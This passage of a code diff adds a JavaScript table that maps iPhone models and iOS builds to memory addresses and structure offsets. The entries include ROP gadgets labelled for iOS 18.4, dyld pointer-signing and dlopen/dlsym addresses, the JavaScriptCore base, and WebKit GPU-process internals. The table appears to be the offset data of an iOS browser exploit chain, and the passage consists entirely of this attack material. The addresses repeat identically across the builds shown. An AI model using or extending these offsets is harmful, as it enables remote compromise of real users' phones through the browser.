Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,1_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,1_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,3_5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,3_5_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8eb888n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be1f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9bdea0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9bdea8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9bdeb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9bddf0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9bdeb8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257c8fe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e458n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda626b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b1f8n, + WebCore__initPKContact_value: 0x1eda6b200n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda699c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda699b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda699a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5f600n, + __pthread_head: 0x269104020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a4fd0n, + gadget_control_1_ios184: 0x23f2c42ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f256150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d23dda8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfb616cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ac7820n, + libGPUCompilerImplLazy__invoker: 0x23d0697e8n, + libGPUCompilerImplLazy_cstring: 0x23c1b3870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca498n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d28c000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9700n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone12,3_5_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadecd8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edade7c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edade720n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edade770n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddb68n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + 